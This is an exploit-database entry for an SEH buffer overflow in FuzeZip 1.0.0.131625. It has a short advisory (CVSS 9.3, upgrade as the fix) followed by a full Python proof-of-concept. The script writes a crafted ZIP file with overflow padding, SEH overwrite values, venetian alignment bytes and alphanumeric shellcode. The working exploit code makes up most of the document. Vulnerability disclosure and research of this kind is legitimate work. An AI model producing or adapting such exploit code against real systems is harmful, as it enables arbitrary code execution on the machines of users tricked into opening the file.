SEH BUFFER OVERFLOW IN FUZEZIP V.1.0

vendor:

FuzeZip

by:

Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: FuzeZip

Affected Version From: 1.0.0.131625

Affected Version To: 1.0.0.131625

Patch Exists: YES

Related CWE: N/A

CPE: a:fuzezip:fuzezip:1.0.0.131625

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 2003 Server Standard SP2

2013

SEH BUFFER OVERFLOW IN FUZEZIP V.1.0

A buffer overflow vulnerability exists in FuzeZip v.1.0.0.131625, which could allow an attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to a SEH (Structured Exception Handler) overwrite when a specially crafted ZIP file is processed. An attacker can exploit this vulnerability by enticing a user to open a malicious ZIP file. Successful exploitation could result in arbitrary code execution with the privileges of the user.

Mitigation:

Upgrade to the latest version of FuzeZip.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title: SEH BUFFER OVERFLOW IN FUZEZIP V.1.0
# Date: 16.Apr.2013 Vulnerability reported
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting 
# Vendor Homepage: http://fuzezip.com/
# Software Link: http://download.fuzezip.com/FuzeZipSetup.exe
# Version: 1.0.0.131625
# Tested on: Windows 2003 Server Standard SP2
# Exploit-DB note: Needs tweaking tho ...

header1 = (
"\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E"
"\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00"
)

#0x003F 335C

seh = "\x9a\x9f"
nextsh = "\x58\x70"

header_m = "\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00\x00\x00\x00\x00\x01\x00\x20\x08\x00\x00\x00\x00\x00\x00"
header_f = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xED\x17\x00\x00\xEC\x17\x00\x00\x00\x00"

venetian = (
"\x55\x55"
"\x72"
"\x58"
"\x72"
"\x05\x25\x11"
"\x72"
"\x2d\x11\x11"
)

shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)

print len(shellcode)

payload = "\x90" * 818 + nextsh + seh + venetian + "\x90" * 109 + "\x72" + shellcode + "\x43" * 4323

buff = payload  
print len(payload)
mefile = open('josep.zip','w')
mefile.write(header1 + buff + header_m + buff + header_f)
mefile.close()